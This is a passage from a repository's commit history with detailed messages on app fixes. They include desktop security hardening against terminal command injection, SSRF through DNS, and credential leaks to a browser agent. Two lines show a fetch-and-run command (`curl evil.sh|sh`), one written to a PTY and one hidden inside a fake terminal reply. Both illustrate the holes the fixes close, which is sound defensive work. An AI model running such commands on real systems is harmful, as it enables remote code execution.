re-rendered the same preview, so the invitation became permanently unacceptable.
The guard now compares against whether acceptance creates a NEW membership
(`shouldJoinOrganization && !alreadyMemberOfTargetOrganization`), which is what
the disclosure actually promises and what the preview reports. The
already-a-member predicate is hoisted and shared with the join block below so
the guard and the billing path cannot disagree about it.
Regression test asserts a pre-existing member accepts with a no-join disclosure;
it fails with `disclosure-outdated` against the previous comparison.
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(invitations): tell an existing member their standing is unchanged
The join preview reported the same no-join shape for two different outcomes: an
external collaborator, and an invitee who already belongs to the organization
acceptance lands in. `buildMembershipNotice` rendered both as "you'll join as an
external collaborator ... everything you own stays yours", which is wrong for an
existing member — they stay an internal member and simply gain the granted
workspaces.
The preview now reports `alreadyMemberOfOrganization` for that case (a
membership in a DIFFERENCE organization is still the external path, since
acceptance downgrades), and the notice states that standing is unchanged. This is
the same conflation behind the accept loop fixed in
|
||
|
Waleed
|
f0b79c5cc6 |
chore(deps): upgrade next 16.2.11 -> 16.2.12 (#6077)
16.2.12 is the current stable (published 2026-07-25) and its entire changelog is two PRs: a docs backport and vercel/next.js#95831, "Fixes to support TypeScript 7". That second one matters here. `apps/sim` declares `typescript: ^7.0.2` and the lockfile resolves 7.0.2, while 16.2.11 predates any TS7 handling — not even the actionable-error guard (#95837), which was never merged. The upstream symptom is `next build` dying with a silent SIGSEGV during its type-check step, because the legacy TypeScript JS API that Next called is gone in TS7. Builds pass today only because Next detects @typescript/native-preview as the compiler and takes a different path, so we are accidentally-working rather than supported. 16.2.12 adds the `experimental.useTypeScriptCli` backend that makes this configuration official. Zero build-performance content in the patch, so this is not a speed change. Bumps all eight pins in lockstep — next, @next/env and the four @next/swc-* binaries at the root, plus the three app/package copies. The swc binaries must move with next: they are platform-gated optionalDependencies, so a version skew or a gate exclusion leaves them out of bun.lock entirely and `bun install --frozen-lockfile` installs no compiler at all (the #5945 failure). Also re-dates the bunfig.toml gate note, which said to drop the next entries on 2026-07-28 — yesterday. 16.2.12 is inside the 7-day window until 2026-08-01, so following that instruction would have blocked this bump and re-triggered the missing-compiler failure. Re-date on future bumps rather than deleting the entries early. |
||
|
Waleed
|
4f776b7a13 |
fix(desktop): fix 11 security findings from a deepsec scan of the desktop app (#6065)
* fix(desktop): gate terminal writes and user activation on real OS input The `needsUserActivation` gate asked the renderer about `navigator.userActivation` via `frame.executeJavaScript`, which evaluates in the page's main world — the same world as the compromised page the gate exists to stop, which need only redefine `navigator.userActivation` to pass it. The channels with no native confirmation behind them (`browser-credentials:forget`, `forget-all`, `browser-agent:clear-browsing-data`) had that as their only protection, so a background script could wipe the saved-password vault. `terminal:write` had no second gate at all. It is a `send` channel, and the send branch ran only the origin and feature checks, so an XSS'd or hostile app origin reached arbitrary command execution: `terminal:start` for an id, then `write(id, 'curl evil.sh|sh\r')` — a raw PTY write submits on the trailing `\r`. The tool-authorization binding covers `terminal:execute-tool` only. Both now answer from the main process's own record of OS input. Chromium delivers every input event to main before the renderer sees it and page script cannot synthesize one, so unlike panel focus (`terminal:focused`, a renderer-asserted claim the same attacker can set) it is a real boundary. Passive pointer traffic is excluded — `mouseMove`/`mouseEnter`/`pointerMove` arrive whenever the cursor rests over the window. * fix(desktop): reclaim tmux run temp directories that outlive their wait window `startRun` makes a temp directory per run holding the tee target and the status file, and only its handle can remove it. `runInTmux` disposed the handle on the `outcome.done` branch only — on the still-running path the handle was a local that went out of scope, and nothing polls that run again (`read` captures the pane instead). With a 30s default wait, every longer command leaked its `/tmp/sim-tmux-run-*` directory for the life of the process while `tee` kept appending the full output to it. Handles for still-running commands are now held per terminal and reclaimed by the terminal's own lifecycle: `retire`/`dispose` release them all, and a new run on the same terminal first reaps any whose status file has since appeared. No reaper timer — the new-run path is already doing run bookkeeping. Live runs are left alone, since their tee is still writing there. Not a security issue: the directories are 0700 in the per-user tmpdir and tmux reaps the window itself. It is unbounded disk and inode growth. * fix(desktop): contain sign-in handoff failures when no window is available `handleCallback` awaited `deps.ensureMainWindow()` as its first statement with no try/catch, and index.ts dispatches it fire-and-forget as `void authFlow.handleCallback(callback)`. The wired `ensureMainWindow` throws `Main window unavailable`, and main registers no `unhandledRejection` handler, so a user who closed the window while signing in through their browser turned the loopback callback into an unhandled rejection. `beginLoginHandoff` had the same shape, so both are fixed rather than one. Both entry points now resolve the window through a helper that records the failure via the existing `handoff_redeem_fail` event and returns null, and the two `void` dispatch sites carry a `.catch()` backstop for anything the flows do not record themselves. Not attacker-triggerable: `onLogin` fires only after `matchesPending()` validates the state that only the user's own browser holds. * fix(desktop): validate manual-update download urls against the scheme allowlist `buildManualEngine` regex-extracted `url:` values from the manifest served by the configured origin and handed the first `.dmg`/`.zip` straight to `shell.openExternal` — the only openExternal in non-test code that skipped `openExternalSafe`, whose own docs state "Every openExternal in the app goes through here". A hostile feed, or a hostile self-host origin the user was tricked into configuring, could return `version: 999.0.0` plus `url: smb://attacker/share/x.dmg` or `file:///…`; both pass the suffix test, so a Download click handed an arbitrary scheme to the macOS URL handler, launching a registered protocol handler instead of downloading. Candidates are now filtered with `isSafeExternalUrl` at selection, so an unusable url is never advertised as an available update at all, and the open goes through `openExternalSafe` so the allowlist also holds at the sink. Loopback http stays allowed because `feedUrlForOrigin` accepts an http origin, so a self-host on localhost is legitimate. Reachability is capped: `detectSelfUpdateCapability` selects the signature-verifying electron-updater engine on Developer-ID builds, so the manual engine runs only on ad-hoc-signed local/CI prerelease builds. * fix(desktop): scope credential presence grants to the operation proven `provenUntil` was keyed on credentialId alone, and `authorizeForSecret` set and read it without reference to what the caller was about to do. `copyCredential` puts the plaintext on the clipboard from inside main and returns a boolean; `revealCredential` returns the string itself to the renderer. With one undifferentiated grant, approving a native "Copy password?" prompt silently authorized a plaintext reveal for the remaining 30s with no second prompt — the OS prompt is the only human-in-the-loop control on plaintext egress, and its label described something weaker than what it granted. Grants now carry their operation and are compared with an ordering rather than equality: reveal is the stronger claim, so a reveal grant still covers a later copy. That is deliberate, not laxity — it preserves the behaviour AUTH_GRACE_MS was designed for (the plaintext is already on screen, so re-prompting to put that same string on the clipboard buys nothing). Only the weaker-implies- stronger direction is closed. `operation` is required rather than optional so the compiler names every call site; it found both. Not addressed, deliberately: the non-biometric fallback still uses `defaultId: 1`, so a reflexive Enter confirms. That is a UX change and is left for a decision rather than folded in here. * fix(desktop): DNS-check agent subresources that are readable or execute The agent partition's onBeforeRequest ran the resolving guard for mainFrame and subFrame only; everything else fell to isBlockedRequestUrl, which sees literal IPs and returns false for any hostname by design. A public name with a static private A record therefore reached internal services from a page the agent was steered to — no rebinding required. The vectors that matter are the ones whose response comes back or runs: a WebSocket to an internal server reads data frames cross-origin because such servers commonly ignore Origin, and a script or xhr response executes in the page or is readable. Subresources now take isBlockedSubresourceUrl, with the verdict cached per host (30s TTL, bounded at 256 entries, oldest evicted) so this is not a lookup per asset. Images and fonts keep the synchronous path: high volume, not readable cross-origin, leaving the load/error timing oracle as the accepted residual. The exemption is expressed as what skips the check, not what gets it, so a resource type Chromium labels unexpectedly fails safe into the checked path — fetch is `xhr` on some versions and `other` on others, and an allowlist that missed the label in use would silently reopen the hole. Resolver errors fail closed, matching checkAgentUrl, and that verdict is not cached so a transient failure does not stick. The deliberate loopback carve-out is unchanged — isBlockedAddress already exempts it on both paths. * fix(desktop): close three credential-disclosure gaps in agent page functions Closed shadow roots. activeElementSecrecy is the only gate the driver consults before dispatching trusted CDP keystrokes, and it descended focus solely through `active.shadowRoot` — null by design for a closed root, while focus inside one retargets to the host, whose tagName is never INPUT. So a password field in a closed root reported 'safe', and Tab crosses closed boundaries natively. Now treated like a cross-origin frame. Detected by focusability rather than by tag: attachShadow accepts plain div/span/section as well as custom elements, so a tag test would miss half of them, whereas an element that is not focusable in its own right cannot be activeElement unless focus was retargeted out of a shadow tree. Multi-token autocomplete. isSecretField compared the whole attribute against 'current-password'/'new-password', but the spec allows space-separated detail tokens and WebAuthn recommends `current-password webauthn`. Those values fell through on exactly the type=text credential fields where autocomplete is the only signal. Now split into tokens, in all seven copies — the duplication is required by the `String(fn)` serialization contract, so consolidating was not an option. OTP and payment values. Deliberately NOT added to isSecretField: that helper also gates keystrokes, so folding them in would have stopped the agent completing a checkout or an OTP prompt — work it is legitimately asked to do. A separate predicate withholds only the value at the two emission sites, and the field is still reported with its real tag so the agent can fill it. * fix(desktop): hand the panel occlusion frame only to a user-driven renderer capturePanelSnapshot sent a JPEG of the agent browser's current page to the app renderer, which is content that renderer's own JS cannot otherwise read — the view is a separate process composited over the window. A compromised renderer can drive set-panel-bounds, panel-action navigate and set-panel-occluded itself, so it could aim the shared agent browser at a site with a persisted session and collect its pixels by script alone, bypassing the tool-call binding that guards browser_screenshot for exactly this reason. The frame is now withheld unless the main process has seen recent real input in that renderer, which is what an overlay opening actually represents. The flicker-prevention behaviour is untouched: an empty capture already returns before the send while `finally` still runs the occlusion, so "occlude without a placeholder" is a path the state machine already handles rather than a new one. * fix(desktop): act on adversarial review of the security fixes Six review agents went through the branch line by line. Several of the fixes were wrong, incomplete, or worse than the finding they closed. terminal:write was gated on the whole channel, which is a functional break, not a fix. That channel carries xterm.js's entire upstream stream, and much of it is not typing: the PTY solicits replies the terminal must answer unprompted — DSR cursor position (p10k/starship emit it every prompt), device attributes, focus reports set by tmux and vim. Now only a payload that can submit (one containing a newline) needs input behind it. Also stated plainly in the code: this is a mitigation. Text without a newline still lands in the line buffer where the user's own Enter submits it, and closing that needs the interactive path off the renderer surface, not a better gate. The panel occlusion gate is reverted outright. Occlusion is driven by any element marked data-native-surface-overlay, which includes tooltips (hover, and hover is deliberately not "deliberate input") and toasts (no input at all), so the common case regressed. Worse, the renderer only ever sets panelSnapshot and never clears it, so withholding a frame shows the PREVIOUS overlay's frame — the exact defect panel.test.ts was written to prevent — while the already-delivered frame stays readable. Net negative on both axes. The credential grant ordering is inverted to exact match. reveal was treated as dominating copy, but copy publishes plaintext to the macOS pasteboard: readable by every process, persisted by clipboard managers past the 30s clear, and synced to other devices by Universal Clipboard. The operations are incomparable. Update downloads are constrained to the release asset prefix, not just to https. The feed rewrites every entry to github.com/simstudioai/sim/releases/download/, so nothing legitimate is excluded — while scheme-only validation still admitted an attacker-hosted DMG that the download dialog walks the user through installing, which is worse than the protocol-handler launch originally fixed. The loopback exemption is dropped with it: no legitimate asset is ever http. State goes to 'error', not 'idle', so a blocked shell is not told it is current. Subresource DNS verdicts cache the promise, not the boolean. Caching only the result left every request arriving before the first lookup settled to start its own, and dns.lookup is getaddrinfo on the four-slot libuv threadpool shared with every fs call in main — a page naming hundreds of hosts could stall the settings write and the credential vault. Also: an eighth copy of the credential-token vocabulary in the browser preload was missed by the original commit while its comment claimed parity, so fill went blind to `current-password webauthn`; the OTP/payment readback zeroed valueLength and told the agent a successful fill was still empty, inviting a doubled code; tagName comparisons are upper-cased for XHTML; DIALOG/VIDEO/AUDIO/EMBED/OBJECT are focusable and no longer report opaque; drags count as input; a backwards clock step no longer satisfies a recency gate; and clearing cache or profile now clears resolved-host verdicts too. The closed-shadow residual is documented rather than closed: a host carrying tabindex or contenteditable still reports safe, and refusing those would block Enter and Space on ordinary <div tabindex="0"> buttons, since a closed root is indistinguishable from no root at all. * refactor(security): one DNS resolver for every SSRF guard, checking all addresses Five independent `dns.lookup` bodies existed — four in apps/sim (validateUrlWithDNS, the database-host check, MCP domain-check, 1Password Connect) and one in apps/desktop's agent url-guard. The four in apps/sim were copy-paste identical, and two properties diverged in ways that mattered: They classified ONE address. `resolved.find(family === 4) ?? resolved[0]` picked an address to pin and then judged only that one, so a host publishing both a public and a private record passed whenever the public record sorted first. That is record order, not policy, and validateUrlWithDNS alone is reached from ~70 call sites. Now every address is classified and the IPv4-preferred one is still what gets returned to pin — the pinning rationale (Happy Eyeballs fallback is stripped, and a pinned IPv6 address hangs on IPv4-only egress) is untouched. They had no deadline. Only the desktop copy bounded the lookup, so a hung resolver could hold an apps/sim request handler open indefinitely. The shared helper carries the 5s deadline, the swallowed late rejection, and the always cleared timer. `resolveHostAddresses` lands in `@sim/security/dns` as its own subpath, so the `node:dns` dependency reaches only the servers that import it — apps/realtime pulls `@sim/security/compare` and nothing else, and the prune graph is unchanged at 14 workspaces. Two lookups deliberately stay as they are: `createSsrfGuardedLookup` is a socket-connect `LookupFunction` that needs raw entries with their family and already validates every address, and desktop's per-host verdict cache keeps its own loopback policy on top of the shared resolver. The localhost carve-out is tightened as a consequence: it applies only when every record is loopback, so `localhost` that also resolves to the LAN no longer rides it. * fix(security): filter refused DNS records instead of failing the host validateUrlWithDNS rejected a host outright when any resolved address was private, while createSsrfGuardedLookup in the same file filters the private entries and connects to what remains. Filtering is equally safe — you pin a surviving public address — and rejecting broke a split-horizon resolver that answers with a private record alongside the public one, on a path with ~70 call sites and no operator opt-out. The pin is re-preferred over the surviving set so it can never be an address the filter just refused. Also from the review round: the browser preload's isPasswordField and findIdentifierField now split autocomplete tokens like the agent guards they claim parity with (a WebAuthn `current-password webauthn` field was invisible to credential fill); the subresource verdict cache holds the promise rather than the boolean, so the requests one page fires at a host share a lookup instead of each queueing its own getaddrinfo on the four-slot libuv threadpool that main's fs calls also use; trailing-dot hosts normalize to one cache entry; the resolver carries a distinct DnsTimeoutError so an outage is not reported as a missing host; and clearHostVerdictCache is wired into both the profile wipe and the cache-clear path, since a resolved-host classification is browsing-trail data. * fix(desktop): invert the terminal-write gate, and finish the XHTML normalization Three defects from the second review round, two of them in the previous round's corrections. The tagName upper-casing was half-applied and made things worse. `focusableItself` compared the normalized tag while the frame-descent branch thirty lines below still compared raw `active.tagName`. In an XHTML document — where tagName is lower-case for HTML elements — focus inside a CROSS-ORIGIN iframe therefore passed `focusableItself` (tag === 'IFRAME'), skipped the frame branch (active.tagName === 'iframe'), fell through, and returned 'safe': the verdict that authorizes trusted CDP keystrokes. Before the correction the same page returned 'opaque'. Now normalized once per loop body and used at every comparison, in readActiveElementState too. The submit gate enumerated the dangerous set, which is not a closed set. Besides carriage return and newline, 0x04 hands a partial line straight to a canonical-mode reader, and 0x0f is operate-and-get-next in bash and accept-line-and-down-history in zsh — both execute the current line — and a user's own inputrc or zle bindings can add more. Inverted: the replies the PTY solicits are enumerated (DSR, DA, focus reports, mouse reports, DCS/OSC) and everything else is gated, so a binding nobody thought of fails closed. The residual was understated. The window is satisfied by any input in the renderer — a keystroke in the chat, a scroll, a drag — not by the user's own Enter, so a looped payload lands the moment they touch anything, and while they type in the terminal it is open continuously. Said plainly now, with what closing it would actually take. Also: credential grants are keyed on credential AND operation, so exact match no longer prompts three times for reveal → copy → reveal when each was already proven; the panel.ts comment the revert deleted collaterally is restored, so the file leaves this branch untouched; updater's release-asset helpers no longer sit between feedUrlForOrigin's TSDoc and its function, and the asset path is a constant rather than parsed per manifest entry; ipc.test.ts freezes the clock so the recency windows cannot lapse mid-test on a loaded machine; and dead exports (isReleaseAssetUrl, SecretOperation), a vestigial executeJavaScript test field, and a shadowed loop binding are cleaned up. * refactor(desktop): simplify what the security fixes added Quality pass from four parallel reviews (reuse, simplification, efficiency, altitude). No behavior change; every gate is unchanged. Reuse. resolveHostAddresses now calls preferIpv4 instead of re-deriving the IPv4-first rule inline — one 106-line file had two implementations of the rule its own TSDoc says callers depend on. url-guard's three host-normalization sites had two different rules (only one stripped a trailing dot); they share guardHost now. os-auth's grace check gained the same backwards-clock guard input-activity already had, since it is the same kind of security window. And a hand-rolled IPv6 bracket strip in input-validation.server.ts now calls the unwrapIpv6Brackets already imported at the top of that file. Simplification. Credential grants are a nested Map rather than a composite string key, which deletes grantKey, the NUL sentinel, and SECRET_OPERATIONS — and makes revoke-by-credential a single delete, so a third operation added later cannot be missed by a revoke that forgot to enumerate it. The 15-term focusableItself chain is a local array. The 4-line token rationale was pasted above seven required copies of a 3-line expression; it is stated once now, and the duplicated isSensitiveValueField TSDoc likewise. PTY_REPLY is a labelled pattern table rather than six alternations on one line. tagName is upper-cased once per loop body instead of three times. A side-effecting .filter() is a loop. senderHasUserGesture's TSDoc no longer documents the implementation it replaced. Efficiency. The expired-first eviction sweep is removed: every entry gets the same TTL and a refreshed host is re-inserted at the back, so insertion order IS expiry order — the sweep could never find an entry the front eviction does not already hold, and scanned all 256 on every insert to learn that. preferIpv4 uses ipaddr.IPv4.isValid rather than isValid + parse, which parsed each address twice. dispose() no longer copies the key set to then get and delete per key. Also: validateDatabaseHost tests the allow-flag before scanning rather than after, the blocked-address log line reports the address actually blocked rather than an arbitrary record, and the preload's two autocomplete-token idioms became one reader. Deliberately not done, and why: moving PTY_REPLY into terminal/ and making the channel gate a predicate (changes the dispatcher shape on both arms); a consume-once submit gate (behavior change, needs a paste path); folding the three-way request dispatch into one guardAgentRequest export; hoisting the release-repo identity into packages/desktop-bridge, which is worth doing and would make electron-builder.yml, update-feed.ts and updater.ts one fact instead of three; a shared helper prelude in execInPage so isSecretField stops being seven copies; and a CDP-sourced focus verdict so the driver stops trusting a page-derived signal at all. The last three are the ones worth a follow-up. * docs(desktop): correct comments that no longer match the code Comment audit over the branch. ~75 lines removed, no rationale lost. Two of these were actively misleading and are the reason the pass was worth running. Three comments still described the terminal gate as newline-keyed after the predicate was inverted to a reply allowlist, including one asserting "a raw write only becomes command execution on the trailing \r" — which is exactly the claim the inversion exists to refute, since 0x04 and 0x0f submit too. The flag carried the same stale name and is now payloadNeedsDeliberateInput, since it gates every payload that is not a solicited reply, not only submits. A TSDoc block in the browser preload had been orphaned: the new autocompleteTokens doc was inserted between isPasswordField and its own comment, so the doc documented the wrong declaration. The rest is duplication. The token-membership rationale had been collapsed to six copies of a pointer at the wrong target — the module header explains the duplication, not the token rule — so the pointers are gone and the rationale stays where it is stated in full. The subresource-exemption reasoning was still in three places; session.ts now points at the two url-guard TSDocs that own it. The "every address is judged" reasoning was in four places when ResolvedHost already documents it for every consumer. Also trimmed: a paragraph restating RELEASE_ASSET_ORIGIN's own doc, the per-operation rationale repeated onto AUTH_GRACE_MS, a PTY TSDoc enumerating what the inline labels already label, and two lines inside one comment block that repeated each other. Kept deliberately, and judged rather than skipped: the MITIGATION and RESIDUAL notes, the String(fn) serialization contract in page-functions.ts's header, the 0x04/0x0f reasoning for running the allowlist the other way, the NTP-step and double-callback notes, and the test comments explaining why a fixture is shaped as it is. Those record decisions, which is what this repo comments. * fix(desktop): stop a command riding inside a fake PTY reply, and fail closed in XHTML Both findings are in this PR's own hardening. The reply allowlist accepted a control byte in its body. DCS and OSC used `[\s\S]*?` interiors, so a hostile renderer could wrap a whole command and its submit inside a sequence shaped like a reply — `ESC ] 0;x CR curl evil.sh|sh CR BEL` — and be waved through as machine-generated, skipping the deliberate-input gate entirely and reopening the path the gate exists to close. Bodies are printable-only now: a real DCS or OSC reply carries text terminated by ST or BEL and never a control byte. X10 mouse is bounded the same way, since its three bytes are offset by 32 and a control byte there is never legitimate either. isSecretField compared tagName raw in all seven copies, and isSensitiveValueField in both of its. tagName is lower-case for HTML elements in an XHTML document, so every credential field there read as ordinary — the value redaction and the keystroke refusal both failed open, on exactly the pages the predicate exists for. The earlier round upper-cased the frame and focusability comparisons and missed these nine. Normalized now, with the rule stated once in the module header rather than nine times. Both are covered by tests that fail against the previous form: a smuggled command in each of the three affected patterns, a genuine reply of each still forwarded, and a lower-case-tagName password field refused for both typing and snapshot disclosure. * fix(desktop): paste from main, and stop a reclaimed run dir printing into tmux Fixes the two behavioural regressions rather than shipping them documented. The context-menu paste could be silently dropped. It read the clipboard with `await navigator.clipboard.readText()` and then wrote the text, so the write landed after an await — and if that read outran the input-recency window (a permission prompt, a slow read) the terminal-write gate refused it with no error and no log, on an action the user had just asked for. Reading in main removes the window entirely, and is the direction Electron itself took: the `clipboard` module was removed from renderers under RFC 0019 so page content cannot reach the clipboard, and the documented pattern is to use it in the main process behind a narrow contextBridge method. So `terminal:paste` is a gated invoke channel that reads the clipboard itself. It needs a real gesture (the Paste click), but not the write gate — the bytes are the user's clipboard rather than the caller's, so a compromised renderer can only replay what was already copied instead of choosing it. `paste` is optional on the bridge and the renderer falls back to the old path, so a shell that predates it is unaffected. The tmux status write is silenced. Closing a terminal tab reclaims the run's temp dir while the command keeps going in tmux. `tee` is unaffected — POSIX lets it write on to the unlinked inode, and the space is reclaimed when it exits — but the command's trailing `printf > .../status` then failed into the pipeline and printed `No such file or directory` into the user's own tmux window, minutes after they closed the tab. `2>/dev/null` on that one redirect keeps the reclaim and drops the noise. |
||
|
Waleed
|
0f1279979a |
fix(folders): stop archived rows skewing sortOrder, hide them from admin, and cover the two untested modules (#6062)
* fix(folders): stop archived rows skewing sortOrder, hide them from admin, and cover the two untested modules nextFolderSortOrder returned min - 1 over ALL rows including soft-deleted ones, so every delete ratcheted the floor further negative and never recovered — an archived folder at -400 forced the next new folder to -401 forever. Both minima (folders and child resources) now see only rows a user can still see, which is how the Files path has always worked. The admin workspace-folders endpoint counted and paginated soft-deleted folders, so an operator saw phantom folders and an inflated total, disagreeing with every user-facing list. Adds naming.test.ts and queries.test.ts. Both modules had zero tests and are mocked at every call site, so their bodies executed in no test anywhere. That left unasserted the two bug classes that caused real defects in the folder migration: the suffix sequence (must start at (1) and skip taken suffixes) and resourceType scoping on the id-keyed lookups, where a missing clause silently files a knowledge base under a table folder. Every assertion is mutation-checked. The first version of the sortOrder test was vacuous — for a root folder the parent condition is itself an isNull node, so a presence-only check passed with the soft-delete filter deleted; it now asserts the specific column. * refactor(testing): share the drizzle condition-tree helpers Asserting on WHERE clauses is the only way to pin a filter the row-queue mocks cannot enforce — a mock returns whatever was queued regardless of the predicate — so this pattern spreads to every test that guards a query's scoping. It had reached five local copies of the same flatten/has pair, four of them added by the tests in this branch. Moved to @sim/testing beside createMockSqlOperators, whose output shape they parse, so the helper and the node types it depends on live together. |
||
|
Waleed
|
4793607ee9 |
chore(db): drop the legacy folder tables and adopt the deferred folder_id FKs (#6051)
* chore(db): drop the legacy folder tables and adopt the deferred folder_id FKs Contract migration closing out the generic-folders cutover: drops workflow_folder and workspace_file_folders, and adopts the two folder_id foreign keys 0272 deliberately deferred. Runs a final INSERT-ONLY reconcile first so no stranded legacy folder is lost by the drop. Insert-only because 0272 deliberately renamed 47 workflow folders to dedupe them, and an upsert would revert all 47. In production this is a no-op (verified 0 stranded); it exists for deployments that never ran the post-drain reconcile as an operational step, self-hosted upgrades above all. Hand-written rather than drizzle-generated: the generated form drops the tables BEFORE adding the FKs with no step to re-root unresolvable folder_ids, so one dangling id fails ADD CONSTRAINT after the legacy data is already gone; it also validates the FK inline, holding ACCESS EXCLUSIVE across a full scan of the 1.7M-row workspace_files, and uses DROP TABLE CASCADE. The generated snapshot is kept so drizzle-kit generate reports no schema changes. Every re-root path dedupes, because all three destinations are partial unique indexes keyed on a coalesced nullable column: folder, workflow, and workspace_files. Parents must also be reachable — an active row re-roots off a soft-deleted parent, while a soft-deleted row may keep one. Also hardens the retention sweep, which the new ON DELETE SET NULL exposes: a surviving active child re-rooted by the FK can collide at the workspace root, and chunkedBatchDelete turns that 23505 into a permanent per-chunk stall. The folder cleanup target now renames children first, covering workflows, files and subfolders, re-asserts eligibility so a restore mid-batch is not stripped, and treats the deduplicated name as a hint since both allocators can return a colliding one. * fix(db): stop the re-root dedupe renaming personal workflows workflow.workspace_id is nullable, and NULL is treated as EQUAL by PARTITION BY but UNKNOWN by the = in base_taken. So for personal workflows rn incremented across the group while no collision was ever detected: the dedupe could only fire spuriously, renaming a user-visible workflow that needed no rename, since the unique index treats NULL workspace_id rows as distinct anyway. The file block already carried the equivalent guard. Also gives step 1's inserts ON CONFLICT (id) DO NOTHING. It restates the stranded guard, closing the window between that read's snapshot and the index check — an operational re-run of 0274, or a live pod, committing into folder mid-statement would otherwise raise 23505, and migrate.ts retries only 55P03. 0272 and 0274 were already written this way; step 1 was the exception. Corrects three comments that claimed more than the code delivers: the header's 'no legacy folder is lost' (an id already present under another resource_type cannot be rescued), the reachability note (a cycle among stranded rows survives a per-row parent check), and a note made stale by the ON CONFLICT above. |
||
|
Theodore Li
|
985f9e6172 |
feat(tables): saved views with filter, sort, and column presets (#5961)
* feat(tables): saved views with filter, sort, and column presets * fix(tables): views own column layout, preserve deep-linked sort, seed update cache * fix(tables): merge view layout writes server-side, keep layout on save-from-All * fix(tables): send view saves as a merge patch so concurrent writes can't clobber * fix(tables): persist explicit All selection, prune view state for deleted columns * fix(tables): key-order-stable dirty check, reset layout when switching to All * fix(tables): return 404 when patching a missing view * improvement(tables): order the bar filter, sort, columns and drop the hidden count * fix(tables): record newly created columns in the active view's order * fix(tables): don't write layout as a reader, clear dead sort, reset dead view id * feat(tables): add New view to the views menu, starting from All * chore(api): bump route-count baseline to 981 after staging merge * fix(tables): guard default demotion, use the applied filter for dirty/save * fix(tables): clear state when the active view is deleted externally * revert(tables): drop the ineffective rows-query gate for view resolution * feat(tables): enable saved views in the embedded mothership table * fix(tables): resolve the views flag on the chat route too * improvement(tables): right-align the embedded run/stop control * fix(tables): live layout on new views, prune stored config, order cache writes * fix(tables): live layout on save-as-view, reset it per view, ignore inherited param when embedded * fix(tables): route undo/redo column-layout writes to the active view * fix(tables): scope layout undo to the view that recorded it Layout is view-owned, but UndoEntry carried no owner, so the persistence sink — rebound every render to the active view — decided the target at undo time rather than at record time. Reordering in view A then undoing from view B wrote A's column order into B and left A unchanged. Entries are now stamped with the active view id, and the three layout-bearing action types (create-column, delete-column, reorder-columns) are pruned from both stacks when the active view changes. Row and schema actions are table-scoped and survive the switch untouched. Inert when views are disabled: the id is always null, so nothing is ever pruned. * fix(tables): send only the layout keys an action changes Pin, reorder, and insert-column each shipped a full columnWidths snapshot they never modified. Both sinks merge at top-level key granularity, so an earlier-issued patch landing after a concurrent resize replaced the newer width map with its stale copy. Resize, auto-resize, and delete-column still send columnWidths — those genuinely change it. * fix(tables): don't strand layout writes while views load, keep schema undos across views Two more instances of layout being written without a known owner. The sink was left unbound until a view resolved, so a resize/reorder/pin (or the column-append effect) during the views fetch fell through to the table's shared metadata — corrupting All for a table about to adopt a view, and losing the edit to the re-seed. The sink is now bound while the query is in flight and suppresses the write. An error counts as settled, so a failed views fetch falls back to All instead of suppressing layout writes for the session. Pruning was also too broad: create-column and delete-column are table-scoped schema ops that merely have a layout side-effect, so dropping them on a view switch made a deleted column unrecoverable. Only reorder-columns is purely layout and still prunes; the other two survive and have just their layout half suppressed at replay when the recorded view isn't active. * fix(tables): flush layout buffered during load when the owner settles to All Suppressing the write while the views query was in flight stopped All from being corrupted, but nothing resolved the buffer afterwards, so a resize during load looked applied and vanished on refresh. Settling on All re-seeds nothing (viewLayoutKey never changed), so the gesture is still on screen and is now persisted to shared metadata. Adopting a view re-seeds the grid from that view and has already replaced the gesture on screen, so the buffer is dropped to match. * fix(tables): resolve undo layout ownership at write time, not dispatch time The layout writes for column create/delete happen in mutation success callbacks, and persistLayoutRef is rebound every render. Resolving entryOwnsLayout up front meant the guard could still hold from before a view switch while the sink it guarded already pointed at the destination, writing the recorded view's layout into whichever view was now active. Now a function, so the guard and the sink are read at the same moment: switch away mid-mutation and the schema half still lands while the layout half is dropped, matching the rule that undo only ever affects the view on screen. * fix(tables): read layout from the grid instead of mirroring it The wrapper kept two shadow copies of the grid's column layout — liveLayoutRef and pendingLayoutRef — and all three of this round's findings were that mirror going stale: - liveLayoutRef was only cleared on activeView.id change, so widths buffered before the views query settled survived into All, where layout writes bypass the mirror entirely. Both create paths spread it last, so a saved view stored those snapped-back widths. - currentViewConfig memoized a spread of that ref, and mutating a ref doesn't re-run a memo, so Save as view sent the pre-gesture layout. - The flush effect keyed on activeView, but adoption writes the view id through the URL, so for one render the query had settled while activeView was still null — flushing to All in exactly the case that had to drop. The grid owns this state, so it now publishes a reader through a sink ref and the wrapper asks at the moment it needs a value. Nothing to keep in sync, so nothing to go stale. Only whether an unowned change happened is tracked, and the resolve effect — which is what actually picks the owner — decides to persist or drop. * fix(tables): flush unowned layout when the views fetch fails The resolve effect is the only caller of resolvePendingLayout and gated on isSuccess, which never becomes true on a query error — so layout touched during the load window was never persisted on the error path, even though the table had already settled to All and later writes worked. The error branch now flushes to shared metadata, matching the rest of the error path's fall-back-to-All behavior. * fix(tables): gate the on-screen layout restore by ownership, not just the persist The undo success callbacks applied the recorded view's order/widths/pinning to the grid unconditionally and only gated the PATCH, so switching views before a column create/delete mutation resolved left the destination displaying the origin view's layout until switched away and back. Each callback now checks ownership where its layout work begins: three are purely layout and return at the top; delete-column undo restores cell data first (row data, runs everywhere) and gates only the layout block below it. In a non-owning view the restored column still appears via the grid's append effect — at the end, leaving that view's layout untouched. * fix(tables): route all layout writes through one owner-aware sink, reconcile order at seed Two holes closed: The sink binding toggled on activeView, leaving a render-frame gap after the views query settled but before the resolve effect adopted a default — writes in that gap fell through to shared metadata. The sink is now always bound while views are enabled and handlePersistLayout is the single router, reading the owner at call time: unresolved buffers, a view patches the view, All writes metadata. The error branch stamps the owner so post-error writes stop buffering. The append effect only fires when the schema changes, so a column that arrived while another source owned the layout rendered via the displayColumns fallback but was never written into the adopted owner's stored order until a drag happened to heal it. Seeding now reconciles the incoming order against the schema and persists the appended tail through the current sink. * fix(tables): capture the layout owner when a schema action is dispatched Insert-column and the delete chain persist layout from mutation callbacks through updateMetadataRef, which always targets the current sink — so a view switch mid-flight wrote the origin view's order/widths/pins into the destination. Undo got this guard already; the live paths never did. Both now capture viewLayoutKey at dispatch and compare at the callback. On a mismatch the layout work is skipped: the destination re-seeded its own layout, the new column lands there via the append effect when the refetch arrives, and the deleted column's dangling keys are pruned on read. pushUndo also takes the captured owner as an override — stamped at callback time it would record the destination, letting a later undo apply the origin's layout to it. * fix(tables): resolve views on list availability, not query success A failed background refetch flips isError while the cached list stays usable, and every view mutation invalidates the views query — 